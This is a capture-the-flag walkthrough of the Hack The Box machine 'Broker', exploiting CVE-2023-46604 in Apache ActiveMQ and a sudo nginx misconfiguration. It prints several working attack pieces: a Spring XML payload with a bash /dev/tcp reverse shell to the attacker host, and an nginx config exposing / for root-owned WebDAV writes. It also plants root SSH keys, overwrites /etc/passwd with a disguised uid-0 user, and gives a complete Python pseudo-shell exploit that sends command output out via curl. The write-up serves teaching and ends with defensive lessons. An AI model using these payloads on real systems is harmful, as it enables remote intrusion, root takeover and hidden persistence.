Broker is an easy difficulty Linux machine hosting a vulnerable version of Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx
which can be exploited in a number of ways to gain root privilege. Let’s dive in!
As usual, we’ll well add broker.htb to /etc/hosts, fire off nmap and see what we’ve got!
Right away, nmap gives quite a lot of output:
map broker.htb -sC -sV -p -
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 13:28 GMT
Nmap scan report for broker.htb (10.129.65.73)
Host is up (0.023s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/Consumer/Topic/#:
|_ ActiveMQ/Advisory/MasterBroker:
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
45975/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
Let’s first take a look at the web page - based on nmap’s output, we’re expecting some kind of authorisation, since our scan returned a 401.
As expected, we have http basic auth in force, of course, we could brute force this - but first, let’s try some low-tech hacking here - how about some basic common credentials? - admin/password does not work, but admin/admin does!
Now that we’ve authenticated, we can confirm that we have an installation of Apache MQ:
Apache ActiveMQ is an open-source message broker built on the Java Message Service (JMS) standard, designed to facilitate communication between different systems, applications, and components. It serves as a middleware, enabling asynchronous messaging by providing a reliable way for components to exchange data through messages. In the context of, say, an e-commerce platform, Apache ActiveMQ can serve as a central messaging system between the Order Processing Service, Inventory Management Service, and Shipping Service. In a cloud context the same sort of task is performed by a service like AWS Simple Notification Service. Before we start to worry about the specific setup and what ActiveMQ could be passing messages for on this box, however, we have a specific version - let’s see if we have any possible vulnerabilities to exploit right here in ActiveMQ.
Firstly, let’s see if ActiveMQ was impacted by the recent Log4Jjvulnerability - CVE-2021-44228. A quick Google reveals some message threads on the ActiveMQ support boards confirming that “CVE-2021-44228 has no impact on any ActiveMQ broker because no ActiveMQ broker uses any version of Log4j2.” Despite this, some more digging suggests that ActiveMQ “Classic” does use Log4j for logging, but the latest versions (i.e. 5.15.15 and 5.16.3) use Log4j 1.2.17 which is not impacted by CVE-2021-44228. There’s enough woolly language here to attract my interest - sadly, it’s not uncommon to see vendors rush to claim their products are not vulnerable to “x” without really verifying this or attempting to obfuscate possible issues with jargon - but since our version is 5.15.15 and that’s the exact version being held up as not vulnerable in the documentation we’ll move on for now.
After a bit more searching and i came across another possible vector - CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker to, quote: “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” See what I mean about obfuscation?! This is a highly abstract way of saying that:
A deserialization vulnerability exists in Apache ActiveMQ’s OpenWire protocol. This flaw can be exploited by an attacker to execute arbitrary code on the server where ActiveMQ is running.
We can quickly find a good POC exploit here https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ - the only issue with which is that we’ll need to generate an msfvenom binary to upload to the target - there’s also a python version which will execute a command instead, so let’s give this a whirl. Later on, I’ll write my own version which will give us a pseudoshell, but for now, let’s clone https://github.com/evkl1d/CVE-2023-46604 and give it a go!
The exploit is well documented and simple enough to try - firstly, well edit poc.xml to add our own address
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.48/8181 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
and run: python3 exploit.py -i broker.htb -p 61616 -u http://10.10.14.48:8080/poc.xml
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: broker.htb:61616
[*] XML URL: http://10.10.14.48:8080/poc.xml
[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31342e34383a383038302f706f632e786d6c
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.65.79 - - [10/Nov/2023 14:08:57] "GET /poc.xml HTTP/1.1" 200 -
└──╼ **$**nc -nvlp 8181
listening on [any] 8181 ...
connect to [10.10.14.48] from (UNKNOWN) [10.129.65.79] 46432
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
whoami
activemq
Our shell comes back, and were in as the activemq user
we’ll quickly grab user.txt from activemq’s home directory - now let’s enumerate
As always I’ll start by seeing if I have any sudo privileges:
activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
We have full control over nginx - this is certainly worth exploring - which version do I have?
activemq@broker:/opt/apache-activemq-5.15.15/bin$ nginx -v
nginx version: nginx/1.18.0 (Ubuntu)
Let’s see if we can find any vulnerabilities for this version… we find an article at legal hackers which seems relevant (and worth bearing in mind for the future) https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html however his wont work on this occasion as we need to be www-data.
So we have no direct exploit - but what we can probably do is change the nginx configuration. Since we’re able to run nginx as sudo - which remember, means we run as root we could actually mount the filesystem root / as a wedav directory - from there we can take a couple of approaches, such as dropping root ssh keys onto the box, or even just adding a user to /etc/passwd.
Firstly, we’ll create a malicious file
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 7777;
root /;
autoindex on;
dav_methods PUT;
}
}
Here, we define that the nginx worker processes will be run by root , meaning when we eventually upload a file, it will also be owned by root . The document root will be the root of the filesystem itself (/) - finally, we’ll enable dav_methods PUT, which will enable the WebDAV HTTP extension with the PUT method, which allows clients to upload files via our listening port, 7777. Put together, this configuration exposes the whole filesystem and allows us to write any file we like, as root - that’s a really bad day for a system admin!
Let’s download our file to the box, and then update the nginx configuration using sudo nginx -c
activemq@broker:~$ wget http://10.10.14.48:8080/evil.conf
wget http://10.10.14.48:8080/evil.conf
--2023-11-10 14:26:33-- http://10.10.14.48:8080/evil.conf
Connecting to 10.10.14.48:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 158 [application/octet-stream]
Saving to: ‘evil.conf’
0K 100% 33.4K=0.005s
2023-11-10 14:26:33 (33.4 KB/s) - ‘evil.conf’ saved [158/158]
activemq@broker:~$ cp evil.conf /tmp
activemq@broker:~$ sudo nginx -c /tmp/evil.conf
The configuration looks to have been applied - let’s run nmap from our attack box to verify:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 14:29 GMT
Nmap scan report for broker.htb (10.129.65.79)
Host is up (0.020s latency).
PORT STATE SERVICE
7777/tcp open cbt
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
Excellent the port is now open - let’s first try to drop an ssh key on the box. It’ll generate a new ssh key using ssh-keygen on my system, then use curl to put the pubic key into the /root/.ssh folder on broker. I should then be able to log in via ssh.
──╼ **$**ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/duck/.ssh/id_rsa): root
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:
SHA256:YCYo0XwzccK7448KdLqOIj9HIror0tE0ALvrYVjr0I8
The key's randomart image is:
+---[RSA 3072]----+
|o+ .o.. |
| o+.=o |
|o .o.++ |
| o ++ . |
|...+ o S |
|++=.= |
|**o= . |
|X+=oo. |
|XBE+o.. |
+----[SHA256]-----+
─╼ **$**curl -X PUT broker.htb:7777/root/.ssh/authorized_keys -d "$(cat root.pub)"
──╼ **$**ssh root@broker.htb -i ./root
The authenticity of host 'broker.htb (10.129.65.79)' can't be established.
ECDSA key fingerprint is SHA256:/GPlBWttNcxd3ra0zTlmXrcsc1JM6jwKYH5Bo5qE5DM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'broker.htb,10.129.65.79' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
\* Documentation: https://help.ubuntu.com
\* Management: https://landscape.canonical.com
\* Support: https://ubuntu.com/advantage
System information as of Fri Nov 10 02:35:47 PM UTC 2023
System load: 0.0
Usage of /: 70.4% of 4.63GB
Memory usage: 12%
Swap usage: 0%
Processes: 159
Users logged in: 0
IPv4 address for eth0: 10.129.65.79
IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98
\* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
root@broker:~#
And we have root!
Another option here would have been to edit /etc/passwd - strictly speaking, we can’t edit the file as the activemq user, however using the webdav folder we’ve set up we can overwrite the current file. Let’s grab the existing /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
And we’ll edit /etc/passwd to add my own root user, then post it to the box:
└──╼ **$**cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
duck:YIlaK190xVPVc:0:0:duck:/root:/bin/bash
└──╼ **$**curl -X PUT broker.htb:7777/etc/passwd -d "$(cat passwd)"
With my known user and password added to /etc/passwd, I can now either switch user in my existing shell, or simply ssh in:
ssh duck@broker.htb
duck@broker.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
\* Documentation: https://help.ubuntu.com
\* Management: https://landscape.canonical.com
\* Support: https://ubuntu.com/advantage
System information as of Fri Nov 10 02:41:40 PM UTC 2023
System load: 0.0
Usage of /: 70.4% of 4.63GB
Memory usage: 12%
Swap usage: 0%
Processes: 162
Users logged in: 0
IPv4 address for eth0: 10.129.65.79
IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98
\* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Nov 10 14:35:48 2023 from 10.10.14.48
root@broker:~# whoami
root
How comes this works? Aren’t Linux passwords now stored in /etc/shadow? They certainly are - and if you were to add a user with useradd
that’s exactly where they would go. The second field in /etc/passwd represents user passwords, and you’ll see that most have an “x” - this simply means that an encrypted password is stored in /etc/shadow - however, /etc/password actually still has precedence, so if I add the hash of a known password in this space instead, I have a valid user. Of course, in this scenario we could edit /etc/shadow anyway - but this approach is worth knowing, in case something really dumb, like chmod 777 /etc/passwd
has taken place.
Of course, to look at /etc/passwd this is quite obvious - since this is HTB it really doesn’t matter, but for a real pentest, how about this?:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
msgsys:YIlaK190xVPVc:0:0:msgsys:/root:/bin/sh
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Some form of file integrity monitor (or a blue teamer with a simple diff tool) will find this without much trouble - but from visual inspection it’s hard!
└──╼ $ssh msgsys@broker.htb
msgsys@broker.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
\* Documentation: https://help.ubuntu.com
\* Management: https://landscape.canonical.com
\* Support: https://ubuntu.com/advantage
System information as of Fri Nov 10 02:49:32 PM UTC 2023
System load: 0.0
Usage of /: 70.5% of 4.63GB
Memory usage: 12%
Swap usage: 0%
Processes: 162
Users logged in: 0
IPv4 address for eth0: 10.129.65.79
IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98
\* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Nov 10 14:48:00 2023 from 10.10.14.48
root@broker:~#
Now, let’s take a moment to make the exploit from earlier a little more user-friendly - ideally, I like to be able to interact with a system in a minimal way, without uploading a binary and without having to spawn a shell if I don’t need to. This ended up getting a bit more complex than most blog readers want to pick through, so at a high level, here I can use my own simple server to allow us to send and receive messages via HTTP and use a function to automatically customise the required XML file for each command we’d like to send. By modifying the command we’re executing on the target system to include a POST back of the command result, customising the response and cleaning it up on our end - then sticking the whole thing into a loop - we can generate a pseudo shell which functions pretty well! I’ve also included a quick and dirty connection check. Here’s the repo if you like to try it or learn more: https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell
import socket
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
from xml.etree.ElementTree import Element, SubElement, tostring
import threading
from time import sleep
def main(ip, port, srvip, srvport):
url = "http://" + srvip + ":" + str(srvport) + "/poc.xml"
print("#################################################################################")
print("# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #")
print("# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #")
print("#################################################################################")
print()
print("[*] Target:", f"{ip}:{port}")
print("[*] Serving XML at:", url)
print("[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.")
print("[*] Type 'exit' to quit")
print()
global connected
connected = False
if not connected:
print("#################################################################################")
print("# Not yet connected, send a command to test connection to host. #")
print("# Prompt will change to Apache ActiveMQ$ once at least one response is received #")
print("# Please note this is a one-off connection check, re-run the script if you #")
print("# want to re-check the connection. #")
print("#################################################################################")
print()
else:
pass
while True:
prompt = "[Target not responding!]$ " if not connected else "Apache ActiveMQ$ "
command = input(prompt)
if command.lower() == 'exit':
print("Exiting...")
return
if not command:
print("Please enter a valid command.")
continue
else:
execute(ip, port, srvip, srvport, command, url)
def execute(ip, port, srvip, srvport, command, url):
class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
message = url
header = "1f00000000000000000001"
body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
payload = int2hex(len(body) // 2, 8) + body
data = bytes.fromhex(payload)
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((ip, port))
conn.send(data)
conn.close()
command = command
generate_xml(command, srvip, srvport)
serve_xml_content(srvip, srvport)
return
def generate_xml(command, srvip, srvport):
root = Element('beans', attrib={
'xmlns': 'http://www.springframework.org/schema/beans',
'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance',
'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd'
})
bean = SubElement(root, 'bean', attrib={'id': 'pb', 'class': 'java.lang.ProcessBuilder', 'init-method': 'start'})
constructor_arg = SubElement(bean, 'constructor-arg')
l = SubElement(constructor_arg, 'list')
full_command = command + """ | awk '{print $0";"}' | curl -X POST -d @- http://""" + srvip + ":" + str(srvport) + "/receive_data" #use ; as a separator for later
values = ['bash', '-c', full_command]
for value in values:
SubElement(l, 'value').text = value
xml_string = '<?xml version="1.0" encoding="UTF-8" ?>\n' + tostring(root).decode()
with open('poc.xml', 'w') as file:
file.write(xml_string)
return xml_string
run = True
class CustomHTTPServer(HTTPServer):
def handle_timeout(self):
if not run:
self.shutdown()
class XMLServer(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass # Override log_message to do nothing
def do_GET(self):
if self.path == '/poc.xml':
with open('poc.xml', 'rb') as file:
self.send_response(200)
self.send_header('Content-type', 'text/xml')
self.end_headers()
self.wfile.write(file.read()) # serve poc.xml
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b'404 - Not Found')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode()
response_data = post_data.split(';') # use the ; to reconstruct line breaks
for line in response_data:
print(line)
self.send_response(200)
self.end_headers()
global connected
connected = True
global run_server
run_server = False
def serve_xml_content(srvip, srvport):
server_address = (srvip, srvport)
httpd = HTTPServer(server_address, XMLServer)
httpd.timeout = 1 # Set the server timeout
global run_server
run_server = True
while run_server:
httpd.handle_request()
httpd.server_close() # Close the server socket
return
def string2hex(s):
return s.encode().hex()
def int2hex(i, n):
if n == 4:
return format(i, '04x')
elif n == 8:
return format(i, '08x')
else:
raise ValueError("n must be 4 or 8")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", help="ActiveMQ Server IP or Hostname", required=True)
parser.add_argument("-p", "--port", type=int, default="61616", help="ActiveMQ Server Port, defaults to 61616", required=False)
parser.add_argument("-si", "--srvip", help="Serve IP", required=True)
parser.add_argument("-sp", "--srvport", type=int, default=8080, help="Serve port, defaults to 8080", required=False)
args = parser.parse_args()
main(args.ip, args.port, args.srvip, args.srvport)
So, what can we learn from this box? As is often the case we begin with some out-of-date software with a vulnerability - worse, one with a publicly available POC. What’s a bit different here is that the vulnerable software isn’t really designed to be user-facing - instead, it’s middleware, designed to do a job and likely in place to facilitate communication between other “value-producing” systems. It’s not uncommon for applications like this either to be missed or to sink lower on the patch priority list because:
At the structural level, many of these issues can be solved (or at least managed) through good documentation and IT governance processes, whereas points like number 4 which tend to arise as a result of departmental (or team) siloing can be countered through targeted steps such as appointing collaborative security champions, or by adopting more holistic approaches like DevSecOps. It’s tempting to say that “ApacheMQ Shouldn’t be exposed to external users anyway” - and in many cases that’s probably true - however, in a real scenario it’s entirley possible that I’d be attacking this box not from “cold” but rather having already gained a foothold into an enterprise network. Truly, it’s dangerous to think of systems as “internal” or “external” in the first place - rather, to the greatest possible extent, all systems should be secured as if they were subject to external attack - because they might be.
In terms of privilege escalation, this was an excellent lesson in the risks associated with sudo privileges and web servers - once upon a time, not that long ago, one of the common calls from security professionals was “stop running your server as root” and this is why.. Unfortunately, running the server as a different user and someone sudo privileges isn’t much better! Keep in mind that this isn’t specifically an Nginx issue either - we could have performed the same attack using something like Apache.
That’s all for this one, see you in the next!